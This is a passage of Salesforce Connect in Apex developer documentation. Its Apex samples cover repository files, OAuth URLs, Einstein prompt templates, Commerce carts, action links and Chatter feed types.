ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \\\'\'{0}\\\'\'', name: \\\'\'{1}\\\'\'', description:
\\\'\'{2}\\\'\' \n external URL: \\\'\'{3}\\\'\'', download URL: \\\'\'{4}\\\'\'', new String[]{

```

```
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
```

SEE ALSO:

[Apex Reference Guide: ConnectApi.ContentHubItemInput](#)

[Apex Reference Guide: ConnectApi.ContentHubFieldValueInput](#)

Update a Repository File with Content

Call a method to update a repository file with content.

Call `updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)` to update the content and metadata of a file in a repository. After the file is updated, we show the file's ID, name, description, external URL, and download URL.

```
final String gDriveRepositoryId = '0XCxx00000000DGAY', gDriveFolderId =
'folder:0B01Tys1KmM3sSVJ2bjIzTGFqSWS', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';

final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);

//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);

final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \\\'\'{0}\\\'\'', name: \\\'\'{1}\\\'\'', description:
\\\'\'{2}\\\'\'',\n external URL: \\\'\'{3}\\\'\'', download URL: \\\'\'{4}\\\'\'', new String[]{
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
```

SEE ALSO:

[Apex Reference Guide: ConnectApi.ContentHubItemInput](#)

[Apex Reference Guide: ConnectApi.ContentHubFieldValueInput](#)

[Apex Reference Guide: ConnectApi.BinaryInput](#)

Get an Authentication URL

Call a method to get an authentication URL.

Call `getOAuthCredentialAuthUrl(requestBody)` to retrieve the URL that a user must visit to begin an authentication flow, ultimately returning authentication tokens to Salesforce. Accepts input parameters representing a specific external credential and, optionally, a named principal. Use this method as part of building a customized or branded user interface to help users initiate authentication.

```
ConnectApi.OAuthCredentialAuthUrlInput input = new ConnectApi.OAuthCredentialAuthUrlInput();

input.externalCredential = 'MyExternalCredentialDeveloperName';
input.principalType = ConnectApi.CredentialPrincipalType.PerUserPrincipal;
input.principalName = 'MyPrincipal'; // Only required when principalType = NamedPrincipal

ConnectApi.OAuthCredentialAuthUrl output =
ConnectApi.NamedCredentials.getOAuthCredentialAuthUrl(input);

String authenticationUrl = output.authenticationUrl; // Redirect users to this URL to
authenticate in the browser
```

SEE ALSO:

[Apex Reference Guide: NamedCredentials Methods](#)

Resolve a Prompt Template

Call a method to resolve a prompt template.

Call `generateMessagesForPromptTemplate(promptTemplateDevName, promptTemplateGenerationsInput)` to resolve a prompt template.

To resolve a prompt template, create an input object, build input maps, configure additional settings, call the service, and handle the resolution and response.

To create an input object, create an instance of `ConnectApi.EinsteinPromptTemplateGenerationsInput`.

To store input parameters for the prompt template, build input maps using `Map<String, ConnectApi.WrappedValue>`. Wrap the input maps in `ConnectApi.WrappedValue` and add them to a `ConnectApi.WrappedValue` map with identifying keys. You can also wrap a string input in `ConnectApi.WrappedValue` and add it to a map.

To configure additional settings, create an instance of `ConnectApi.EinsteinLlmAdditionalConfigInput` and assign it to the `additionalConfig` property of the input object.

To generate messages based on the prompt template and input parameters, call the `generateMessagesForPromptTemplate` method of the `ConnectApi.EinsteinLLM` class with the prompt template ID and the input object.

To access the prompt resolution, use `generationsOutput.prompt` and, to access the first generated response, use `generationsOutput.generations[0].text`.

Resolve a Flex Prompt Template with Apex and Flow Resources

```
// Create input
ConnectApi.EinsteinPromptTemplateGenerationsInput promptGenerationsInput = new
ConnectApi.EinsteinPromptTemplateGenerationsInput();
promptGenerationsInput.isPreview = false;

// Build input map
Map<String, ConnectApi.WrappedValue> valueMap = new
```

```

Map<String, ConnectApi.WrappedValue>();

Map<String, String> account1RecordIdMap = new Map<String, String>();
account1RecordIdMap.put('id', '001xx000003H9cuAAC'); // Account ID

Map<String, String> account2RecordIdMap = new Map<String, String>();
account2RecordIdMap.put('id', '001xx000003H9ctAAC'); // Account ID

Map<String, String> case1RecordIdMap = new Map<String, String>();
case1RecordIdMap.put('id', '500xx000000cJ7rAAE'); // Case ID

// Add wrapped values to map
ConnectApi.WrappedValue account1WrappedValue = new ConnectApi.WrappedValue();
account1WrappedValue.value = account1RecordIdMap;

ConnectApi.WrappedValue account2WrappedValue = new ConnectApi.WrappedValue();
account2WrappedValue.value = account2RecordIdMap;

ConnectApi.WrappedValue case1WrappedValue = new ConnectApi.WrappedValue();
case1WrappedValue.value = case1RecordIdMap;

valueMap.put('Input:Account_1', account1WrappedValue);
valueMap.put('Input:Account_2', account2WrappedValue);
valueMap.put('Input:Case_1', case1WrappedValue);

// Add string input
ConnectApi.WrappedValue strWrappedValue = new ConnectApi.WrappedValue();
strWrappedValue.value = 'My string input';

valueMap.put('Input:My_Free_Text1', strWrappedValue);

promptGenerationsInput.inputParams = valueMap;

// Set additional configuration values
promptGenerationsInput.additionalConfig = new ConnectApi.EinsteinLlmAdditionalConfigInput();
promptGenerationsInput.additionalConfig.applicationName =
'PromptTemplateGenerationsInvocable';

// Call the service using the prompt template ID
ConnectApi.EinsteinPromptTemplateGenerationsRepresentation generationsOutput =
ConnectApi.EinsteinLLM.generateMessagesForPromptTemplate('0hfx0000000KQ9AAM',
promptGenerationsInput);

// Consume resolution
System.debug('Prompt resolution: ' + generationsOutput.prompt);

// Consume response
System.debug('Prompt response: ' + generationsOutput.generations[0].text);

```

Resolve a Sales Email Prompt Template

```

// Create input
ConnectApi.EinsteinPromptTemplateGenerationsInput promptGenerationsInput = new

```

```

ConnectApi.EinsteinPromptTemplateGenerationsInput();
promptGenerationsInput.isPreview = false;

// Build input map
Map<String,ConnectApi.WrappedValue> valueMap = new Map<String,ConnectApi.WrappedValue>();

Map<String, String> recipientEntityRecordIdMap = new Map<String, String>();
recipientEntityRecordIdMap.put('id', '00Qxx000002ToPvEAK');

Map<String, String> senderEntityRecordIdMap = new Map<String, String>();
senderEntityRecordIdMap.put('id', '005xx000001XiWLAA0');

ConnectApi.WrappedValue recipientEntityWrappedValue = new ConnectApi.WrappedValue();
recipientEntityWrappedValue.value = recipientEntityRecordIdMap;

ConnectApi.WrappedValue senderEntityWrappedValue = new ConnectApi.WrappedValue();
senderEntityWrappedValue.value = senderEntityRecordIdMap;

valueMap.put('Input:Account', recipientEntityWrappedValue);
valueMap.put('Input:Recipient', recipientEntityWrappedValue);
valueMap.put('Input:Sender', senderEntityWrappedValue);

promptGenerationsInput.inputParams = valueMap;

// Set additional configuration values
promptGenerationsInput.additionalConfig = new ConnectApi.EinsteinLlmAdditionalConfigInput();
promptGenerationsInput.additionalConfig.applicationName =
'PromptTemplateGenerationsInvocable';

// Call the service
ConnectApi.EinsteinPromptTemplateGenerationsRepresentation generationsOutput =
ConnectApi.EinsteinLLM.generateMessagesForPromptTemplate('0hfxx0000000KTNA2',
promptGenerationsInput);

// Consume response
System.debug('Prompt Testing: ' + generationsOutput.prompt);

```

Resolve a Field Generation Prompt Template

```

// Create input
ConnectApi.EinsteinPromptTemplateGenerationsInput promptGenerationsInput = new
ConnectApi.EinsteinPromptTemplateGenerationsInput();
promptGenerationsInput.isPreview = false;

// Build input map
Map<String,ConnectApi.WrappedValue> valueMap = new Map<String,ConnectApi.WrappedValue>();

Map<String, String> relatedEntityRecordIdMap = new Map<String, String>();
relatedEntityRecordIdMap.put('id', '001xx000003H9cuAAC');

ConnectApi.WrappedValue relatedEntityWrappedValue = new ConnectApi.WrappedValue();
relatedEntityWrappedValue.value = relatedEntityRecordIdMap;

valueMap.put('Input:Account', relatedEntityWrappedValue);

```

```

promptGenerationsInput.inputParams = valueMap;

// Set additional configuration values
promptGenerationsInput.additionalConfig = new ConnectApi.EinsteinLlmAdditionalConfigInput();
promptGenerationsInput.additionalConfig.applicationName =
'PromptTemplateGenerationsInvocable';

// Call the service
ConnectApi.EinsteinPromptTemplateGenerationsRepresentation generationsOutput =
ConnectApi.EinsteinLLM.generateMessagesForPromptTemplate('0hfx0000000KR1AAM',
promptGenerationsInput);

// Consume response
System.debug('Prompt Testing: ' + generationsOutput.prompt);

```

Resolve a Summary Prompt Template

```

// Create input
ConnectApi.EinsteinPromptTemplateGenerationsInput promptGenerationsInput = new
ConnectApi.EinsteinPromptTemplateGenerationsInput();
promptGenerationsInput.isPreview = false;

// Build input map
Map<String, ConnectApi.WrappedValue> valueMap = new Map<String, ConnectApi.WrappedValue>();

Map<String, String> recipientEntityRecordIdMap = new Map<String, String>();
recipientEntityRecordIdMap.put('id', '00Qxx000002ToPvEAK');

ConnectApi.WrappedValue recipientEntityWrappedValue = new ConnectApi.WrappedValue();
recipientEntityWrappedValue.value = recipientEntityRecordIdMap;

valueMap.put('Input:Account', recipientEntityWrappedValue);

promptGenerationsInput.inputParams = valueMap;

// Set additional configuration values
promptGenerationsInput.additionalConfig = new ConnectApi.EinsteinLlmAdditionalConfigInput();
promptGenerationsInput.additionalConfig.applicationName =
'PromptTemplateGenerationsInvocable';

// Call the service
ConnectApi.EinsteinPromptTemplateGenerationsRepresentation generationsOutput =
ConnectApi.EinsteinLLM.generateMessagesForPromptTemplate('0hfx0000000KUzAAM',
promptGenerationsInput);

// Consume response
System.debug('Prompt Testing: ' + generationsOutput.prompt);

```

Create a Cart and Cart Item with Custom Fields in a Commerce Store

Create a cart with a cart item using custom fields for a buyer or guest user in your Commerce store.

Custom fields are optional and must be previously defined for the WebCart and CartItem sObjects. See [Create Custom Fields](#). Field-level security rules from the [shopper profile](#) are applied to the WebCart and CartItem custom fields. The rules are applied for registered shoppers and for the guest shopper profile.

To create a cart with custom fields, call `createCart(webstoreId, cartInput)`. Specify your custom fields using the `customFields` property of `cartInput`. The type for `customFields` is `List<SObject>`, where the `sObject` is a `WebCart`.

Then, to add an item to the cart, call `addItemToCart(webstoreId, effectiveAccountId, activeCartOrId, cartItemInput, currencyIsoCode)`. You can specify custom fields using the `customFields` property of `cartItemInput`. Again, the type of `customFields` is `List<SObject>`, but the `sObject` must be a `CartItem`.

In this scenario we assume that further customization sets a custom field within the [Cart Calculate API](#) flow onto the cart item for further use.

```
ID webStoreId = '0ZEOL000000063r4AA';
ID accountId = '001OL000002LC0qYAG';
ID productId = '01tOL000000ETzuYAG';

List<SObject> webCartList = new List<SObject>();
WebCart webCart = new WebCart();
webCart.webCartCustomTextField__c = 'webCartCustomFieldValue';
webCartList.add(webCart);

final ConnectApi.CartInput cartInput = new ConnectApi.CartInput();
cartInput.effectiveAccountId = accountId;
cartInput.name = 'Cart With Custom Fields';
cartInput.customFields = webCartList;

// create a cart
ConnectApi.CartSummary cartSummary = ConnectApi.CommerceCart.createCart(webStoreId,
cartInput);

ID cartId = cartSummary.cartId;

// Given
List<SObject> cartItemList = new List<SObject>();
CartItem cartItem = new CartItem();
cartItem.cartItemCustomNumberField__c = 12.34;
cartItemList.add(cartItem);

final ConnectApi.CartItemInput input = new ConnectApi.CartItemInput();
input.productId = productId;
input.quantity = '2';
input.type = ConnectApi.CartItemType.Product;
input.customFields = cartItemList;

// add an item to the previously created cart
ConnectApi.CartItem itemResult = ConnectApi.CommerceCart.addItemToCart(webStoreId,
accountId, cartId, input, 'USD');

// response contains all (accessible) custom fields for which data was set
CartItem cartItemResult = (CartItem)itemResult.customFields[0];
// the value from request (if not changed during flow)
Double valueFromRequest = cartItemResult.cartItemCustomNumberField__c;
// an additional customization value, e.g. set by the cart calculation flow
String valueForCustomization = cartItemResult.additionalCustomField__c;
```

Connect in Apex Features

This topic describes which classes and methods to use to work with common Connect in Apex features.

You can also go directly to the [ConnectApi Namespace](#) reference content.

[Working with Action Links](#)

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can drive productivity and accelerate innovation.

[Working with Feeds and Feed Elements](#)

The Chatter feed is a container of feed elements. The abstract class `ConnectApi.FeedElement` is a parent class to the `ConnectApi.FeedItem` class, representing feed posts, and the `ConnectApi.GenericFeedElement` class, representing bundles and recommendations in the feed.

[Accessing ConnectApi Data in Experience Cloud Sites](#)

Many `ConnectApi` methods work within the context of a single Experience Cloud site.

[Methods Available to Experience Cloud Guest Users](#)

If your Experience Cloud site allows access without logging in, guest users have access to many Apex methods. These methods return information the guest user has access to.

[Supported Validations for DBT Segments](#)


When creating or updating a segment, the `ConnectApi.CdpSegmentInput` class is subject to some SQL validations.

Working with Action Links

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can drive productivity and accelerate innovation.

Workflow

This feed item contains one action link group with one visible action link, **Join**.



The workflow to create and post action links with a feed element:

1. (Optional) Create an [action link template](#).
2. Call `ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)` to define an action link group that contains at least one action link.
3. Call `ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement)` to post a feed element and associate the action link with it.

Use these methods to work with action links.

ConnectApi Method	Task
<code>ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)</code>	Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition. Then post a feed element with an associated actions capability.
<code>ActionLinks.deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)</code>	
<code>ActionLinks.getActionLinkGroupDefinition(communityId, actionLinkGroupId)</code>	
<code>ChatterFeeds.postFeedElement(communityId, feedElement)</code>	Post a feed element with an associated actions capability. Associate up to 10 action link groups with a feed element.
<code>ActionLinks.getActionLink(communityId, actionLinkId)</code>	Get information about an action link, including state for the context user.
<code>ActionLinks.getActionLinkGroup(communityId, actionLinkGroupId)</code>	Get information about an action link group including state for the context user.
<code>ActionLinks.getActionLinkDiagnosticInfo(communityId, actionLinkId)</code>	Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access the action link.

ConnectApi Method

`ChatterFeeds.getFeedElementsFromFeed()`

Task

Get the feed elements from a specified feed type. If a feed element has action links associated with it, the action links data is returned in the feed element's associated actions capability.

[Action Links Overview, Authentication, and Security](#)

Learn about Apex action links security, authentication, labels, and errors.

[Action Links Use Case](#)

Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce or third-party API. An action link can also download a file or open a web page. This topic contains an example use case.

SEE ALSO:

[Define an Action Link and Post with a Feed Element](#)


[Define an Action Link in a Template and Post with a Feed Element](#)

Action Links Overview, Authentication, and Security

Learn about Apex action links security, authentication, labels, and errors.

Workflow

This feed item contains one action link group with one visible action link, **Join**.



The workflow to create and post action links with a feed element:

1. (Optional) Create an [action link template](#).
2. Call `ConnectApi.ActionLinks.createActionLinkGroupDefinition (communityId, actionLinkGroup)` to define an action link group that contains at least one action link.

3. Call `ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement)` to post a feed element and associate the action link with it.

Action Link Templates

Create action link templates in Setup to instantiate action link groups with common properties. You can package templates and distribute them to other Salesforce orgs.

Specify binding variables in the template and set the values of the variables when you instantiate the action link group. For example, use a binding variable for the API version number, a user ID, or an OAuth token.

You can also specify context variables in the templates. When a user executes the action link, Salesforce provides values for these variables, such as who executed the link and in which organization.

To instantiate the action link group, call the

`ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)` method. Specify the template ID and the values for any binding variables defined in the template.

See [Design Action Link Templates](#).

Type of Action Links

Specify the action link type in the `actionType` property when you define an action link.

There are four types of action links:

- **Api**—The action link calls a synchronous API at the action URL. Salesforce sets the status to `SuccessfulStatus` or `FailedStatus` based on the HTTP status code returned by your server.
- **ApiAsync**—The action link calls an asynchronous API at the action URL. The action remains in a `PendingStatus` state until a third party makes a request to `/connect/action-links/actionLinkId` to set the status to `SuccessfulStatus` or `FailedStatus` when the asynchronous operation is complete.
- **Download**—The action link downloads a file from the action URL.
- **Ui**—The action link takes the user to a web page at the action URL.

Authentication

When you define an action link, specify a URL (`actionUrl`) and the HTTP headers (`headers`) required to make a request to that URL.

If an external resource requires authentication, include the information wherever the resource requires.

If a Salesforce resource requires authentication, you can include OAuth information in the HTTP headers or you can include a bearer token in the URL.

Salesforce automatically authenticates these resources.

- Relative URLs in templates
- Relative URLs beginning with `/services/apexrest` when the action link group is instantiated from Apex

Don't use these resources for sensitive operations.

Security

HTTPS

The action URL in an action link must begin with `https://` or be a relative URL that matches one of the rules in the previous Authentication section.

Encryption

API details are stored with encryption, and obfuscated for clients.

The `actionURL`, `headers`, and `requestBody` data for action links that are not instantiated from a template are encrypted with the organization's encryption key. The `Action URL`, `HTTP Headers`, and `HTTP Request Body` for an action link template are not encrypted. The binding values used when instantiating an action link group from a template are encrypted with the organization's encryption key.

Action Link Templates

Only users with Customize Application user permission can create, edit, delete, and package action link templates in Setup.

Don't store sensitive information in templates. Use binding variables to add sensitive information when you instantiate the action link group. After the action link group is instantiated, the values are stored in an encrypted format. See [Define Binding Variables in Design Action Link Templates](#).

Client Apps

When creating action links via a client app, it's a good idea to use a client app with a consumer key that never leaves your control. The client app is used for server-to-server communication and is not compiled into mobile apps that could be decompiled.

Expiration Date

When you define an action link group, specify an expiration date (`expirationDate`). After that date, the action links in the group can't be executed and disappear from the feed. If your action link group definition includes an OAuth token, set the group's expiration date to the same value as the expiration date of the OAuth token.

Action link templates use a slightly different mechanism for excluding a user. See [Set the Action Link Group Expiration Time in Design Action Link Templates](#).

Exclude a User or Specify a User

Use the `excludeUserId` property of the action link definition input to exclude a single user from executing an action.

Use the `userId` property of the action link definition input to specify the ID of a user who alone can execute the action. If you don't specify a `userId` property or if you pass `null`, any user can execute the action. You can't specify both `excludeUserId` and `userId` for an action link.

Action link templates use a slightly different mechanism for excluding a user. See [Set Who Can See the Action Link in Design Action Link Templates](#).

Read, Modify, or Delete an Action Link Group Definition

There are two views of an action link and an action link group: the definition, and the context user's view. The definition includes potentially sensitive information, such as authentication information. The context user's view is filtered by visibility options and the values reflect the state of the context user.

Action link group definitions can contain sensitive information (such as OAuth tokens). For this reason, to read, modify, or delete a definition, the user must have created the definition or have View All Data permission. In addition, in Connect REST API, the request must be made via the same client app that created the definition. In Apex, the call must be made from the same namespace that created the definition.

Context Variables

Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the HTTP request made by invoking an action link. You can use context variables in the `actionUrl`, `headers`, and `requestBody` properties of the Action Link Definition Input request body or `ConnectApi.ActionLinkDefinitionInput` object. You can also use context variables in the `Action URL`, `HTTP Request Body`, and `HTTP Headers` fields of action link templates. You can edit these fields, including adding and removing context variables, after a template is published.

The context variables are:

Context Variable	Description
{!actionLinkId}	The ID of the action link the user executed.
{!actionLinkGroupId}	The ID of the action link group containing the action link the user executed.
{!communityId}	The ID of the site in which the user executed the action link. The value for your internal org is the empty key "000000000000000000".
{!communityUrl}	The URL of the site in which the user executed the action link. The value for your internal org is empty string "".
{!orgId}	The ID of the org in which the user executed the action link.
{!userId}	The ID of the user that executed the action link.

Versioning

To avoid issues due to upgrades or changing functionality in your API, we recommend using versioning when defining action links. For example, the `actionUrl` property in the `ConnectApi.ActionLinkDefinitionInput` looks like `https://www.example.com/api/v1/exampleResource`.

You can use templates to change the values of the `actionUrl`, `headers`, or `requestBody` properties, even after a template is distributed in a package. Let's say you release a new API version that requires new inputs. An admin can change the inputs in the action link template in Setup and even action links already associated with a feed element use the new inputs. However, you can't add new binding variables to a published action link template.

If your API isn't versioned, you can use the `expirationDate` property of the `ConnectApi.ActionLinkGroupDefinitionInput` to avoid issues due to upgrades or changing functionality in your API. See Set the Action Link Group Expiration Time in [Design Action Link Templates](#).

Errors

Use the Action Link Diagnostic Information method (`ConnectApi.ActionLinks.getActionLinkDiagnosticInfo(communitId, actionLinkId)`) to return status codes and errors from executing `Api` action links. Diagnostic info is given only for users who can access the action link.

Localized Labels

Action links use a predefined set of localized labels specified in the `labelKey` property of the `ConnectApi.ActionLinkDefinitionInput` request body and the `Label` field of an action link template.

For a list of labels, see [Actions Links Labels](#).

 **Note:** If none of the label key values make sense for your action link, specify a custom label in the `Label` field of an action link template and set `Label Key` to `None`. However, custom labels aren't localized.

SEE ALSO:

[Define an Action Link and Post with a Feed Element](#)

[Define an Action Link in a Template and Post with a Feed Element](#)

[Define an Action Link and Post with a Feed Element](#)

[Define an Action Link in a Template and Post with a Feed Element](#)


Action Links Use Case

Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce or third-party API. An action link can also download a file or open a web page. This topic contains an example use case.

Start a Video Chat from the Feed

Suppose that you work as a Salesforce developer for a company that has a Salesforce org and an account with a fictional company called "VideoChat." Users have been saying they want to do more from their mobile devices. You're asked to create an app that lets users create and join video chats directly from their mobile device.

When a user opens the VideoChat app in Salesforce, they're asked to name the video chat room and invite either a group or individual users to the video chat room. When the user clicks **OK**, the VideoChat app launches the video chat room and posts a feed item to the selected group or users asking them to **Please join the video chat** by clicking an action link labeled **Join**. When an invitee clicks **Join**, the action link opens a web page containing the video chat room.



As a developer thinking about how to create the action link URL, you come up with these requirements:

1. When a user clicks **Join**, the action link URL has to open the video chat room they were invited to.
2. The action link URL has to tell the video chat room who's joining.

To dynamically create the action link URLs, you create an action link template in Setup.

For the first requirement, you create a `{!Bindings.roomId}` binding variable in the `Action URL` template field. When the user clicks **OK** to create the video chat room, your Apex code generates a unique room ID. The Apex code uses that unique room ID as the binding variable value when it instantiates the action link group, associates it with the feed item, and posts the feed item.

For the second requirement, the action link must include the user ID. Action links support a predefined set of context variables. When an action link is invoked, Salesforce substitutes the variables with values. Context variables include information about who clicked the action link and in what context it was invoked. You decide to include a `{!userId}` context variable in the `Action URL` so that when a user clicks the action link in the feed, Salesforce substitutes the user's ID and the video chat room knows who's entering.

This is the action link template for the **Join** action link.

Action Link Template Edit

SaveSave & NewCancel

Information

Action Link Group Template

Video Chat

Position

0

Action Type

UI

Label Key

Join

Action URL

https://www.example.com/videochat/rooms/{!Bindings.roomId}?userId={!userId}

HTTP Method

GET

User Visibility

Everyone can see

Confirmation Required

Custom User Alias

Default Link in Group

HTTP Request Body

HTTP Headers

SaveSave & NewCancel

Every action link must be associated with an action link group. The group defines properties shared by all the action links associated with it. Even if you're using a single action link (as in this example) it must be associated with a group. The first field of the action link template is `Action Link Group Template`, which in this case is **Video Chat**, which is the action link group template the action link template is associated with.

Action Link Group Template Edit

SaveSave & NewCancel

Information

Action Link Group Template ID

07gD00000004CFQ

Name

Video Chat

Namespace Prefix

Developer Name

Video_Chat

Category

Primary action

Executions Allowed

Once per User

Hours until Expiration

Published

☒

SaveSave & NewCancel

Working with Feeds and Feed Elements

The Chatter feed is a container of feed elements. The abstract class `ConnectApi.FeedElement` is a parent class to the `ConnectApi.FeedItem` class, representing feed posts, and the `ConnectApi.GenericFeedElement` class, representing bundles and recommendations in the feed.

 **Note:** Salesforce Help refers to feed items as posts and bundles as bundled posts.

Capabilities

As part of the effort to diversify the feed, pieces of functionality found in feed elements have been broken out into capabilities. Capabilities provide a consistent way to interact with the feed. Don't inspect the feed element type to determine which functionality is available for a feed element. Inspect the capability, which tells you explicitly what's available. Check for the presence of a capability to determine what a client can do to a feed element.

The `ConnectApi.FeedElement.capabilities` property holds a set of capabilities.


A capability includes both an indication that a feature is possible and data associated with that feature. If a capability property exists on a feed element, that capability is available, even if there isn't any data associated with the capability yet. For example, if the `chatterLikes` capability property exists on a feed element, the context user can like that feed element. If the capability property doesn't exist on a feed element, it isn't possible to like that feed element.

When posting a feed element, specify its characteristics in the `ConnectApi.FeedElementInput.capabilities` property.

How the Salesforce UI Displays Feed Items

A client can use the `ConnectApi.FeedElement.capabilities` property to determine what it can do with a feed element and how to render the feed element. For all feed element subclasses other than `ConnectApi.FeedItem`, the client doesn't have to know the subclass type. Instead, the client can look at the capabilities. Feed items do have capabilities, but they also have a few properties, such as `actor`, that aren't exposed as capabilities. For this reason, clients must handle feed items a bit differently than other feed elements.

The Salesforce UI uses one layout to display every feed item. This single layout gives customers a consistent view of feed items and gives developers an easy way to create UI. The layout always contains the same pieces and the pieces are always in the same position. Only the content of the layout pieces changes.



The feed item (`ConnectApi.FeedItem`) layout elements are:

1. Actor (`ConnectApi.FeedItem.actor`)—A photo or icon of the creator of the feed item. (You can override the creator at the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.)
2. Header (`ConnectApi.FeedElement.header`)—Context for the feed item. The same feed item can have a different header depending on who posted it and where it was posted. For example, Ted posted this feed item to a group.
Timestamp (`ConnectApi.FeedElement.relativeCreatedDate`)—The date and time when the feed item was posted. If the feed item is less than two days old, the date and time are formatted as a relative, localized string, such as “17m ago”. Otherwise, the date and time are formatted as an absolute, localized string.
3. Body (`ConnectApi.FeedElement.body`)—All feed items have a body. The body can be `null`, which is the case when the user doesn’t provide text for the feed item. Because the body can be `null`, you can’t use it as the default case for rendering text. Instead, use the `ConnectApi.FeedElement.header.text` property, which always contains a value.
4. Auxiliary Body (`ConnectApi.FeedElement.capabilities`)—The visualization of the capabilities. See [Capabilities](#).


How the Salesforce Displays Feed Elements Other Than Feed Items

A client can use the `ConnectApi.FeedElement.capabilities` property to determine what it can do with a feed element and how to render the feed element. This section uses bundles as an example of how to render a feed element, but these properties are available for every feed element. Capabilities allow you to handle all content in the feed consistently.



Note: Bundled posts contain feed-tracked changes and are in record feeds only.

To give customers a clean, organized feed, Salesforce aggregates feed-tracked changes into a bundle. To see individual feed elements, click the bundle.



A bundle is a `ConnectApi.GenericFeedElement` object (which is a concrete subclass of `ConnectApi.FeedElement`) with a `ConnectApi.BundleCapability`. The bundle layout elements are:

- Header (`ConnectApi.FeedElement.header`)—For feed-tracked change bundles, this text is “*User Name* updated this record.”
- Timestamp (`ConnectApi.FeedElement.relativeCreatedDate`)—The date and time when the feed item was posted. If the feed item is less than two days old, the date and time are formatted as a relative, localized string, such as “17m ago”. Otherwise, the date and time are formatted as an absolute, localized string.
- Auxiliary Body (`ConnectApi.FeedElement.capabilities.bundle.changes`)—The bundle displays the `fieldName` and the `oldValue` and `newValue` properties for the first two feed-tracked changes in the bundle. If there are more than two feed-tracked changes, the bundle displays a “Show All Updates” link.

Feed Element Visibility

The feed elements a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security. For example, if a user doesn't have access to a record, they don't see updates for that record. If a user can see the parent of the feed element, the user can see the feed element. Typically, a user sees feed updates for:

- Feed elements that @mention the user (if the user can access the feed element's parent)
- Feed elements that @mention groups the user is a member of
- Record field changes on records whose parent is a record the user can see, including User, Group, and File records
- Feed elements posted to the user
- Feed elements posted to groups that the user owns or is a member of
- Feed elements for standard and custom records, for example, tasks, events, leads, accounts, files

Feed Types

There are many types of feeds. Each feed type defines a collection of feed elements.

 **Important:** The collection of feed elements can change between releases.

All feed types except Favorites are exposed in the `ConnectApi.FeedType` enum and passed to one of the `ConnectApi.ChatterFeeds.getFeedElementsFromFeed` methods. This example gets the feed elements from the context user's news feed and topics feed.

```
ConnectApi.FeedElementPage newsFeedElementPage =
    ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
        ConnectApi.FeedType.News, 'me');

ConnectApi.FeedElementPage topicsFeedElementPage =
    ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
        ConnectApi.FeedType.Topics, '0TOD00000000cld');
```

To get a filter feed, call one of the `ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed` methods. To get a favorites feed, call one of the `ConnectApi.ChatterFavorites.getFeedElements` methods.

The feed types and their descriptions are:

- **Bookmarks**—Contains all feed items saved as bookmarks by the context user.
- **Company**—Contains all feed items except feed items of type `TrackedChange`. To see the feed item, the user must have sharing access to its parent.
- **DirectMessageModeration**—Contains all direct messages that are flagged for moderation. The Direct Message Moderation feed is available only to users with Moderate Experiences Chatter Messages permissions.
- **DirectMessages**—Contains all feed items of the context user's direct messages.
- **Draft**—Contains all the feed items that the context user drafted.
- **Files**—Contains all feed items that contain files posted by people or groups that the context user follows.
- **Filter**—Contains the news feed filtered to contain feed items whose parent is a specified object type.
- **Groups**—Contains all feed items from all groups the context user either owns or is a member of.
- **Home**—Contains all feed items associated with any managed topic in an Experience Cloud site.
- **Landing**—Contains all feed items that best drive user engagement when the feed is requested. Allows clients to avoid an empty feed when there aren't many personalized feed items.
- **Moderation**—Contains all feed items that are flagged for moderation, except direct messages. The moderation feed is available only to users with Moderate Experiences Feeds permissions.

- **Mute**—Contains all feed items that the context user muted.
- **News**—Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is following. Contains all updates for records whose parent is the context user.
- **PendingReview**—Contains all feed items and comments that are pending review.
- **People**—Contains all feed items posted by all people the context user follows.
- **Record**—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user, the feed contains only feed items on that user. You can get another user's record feed.
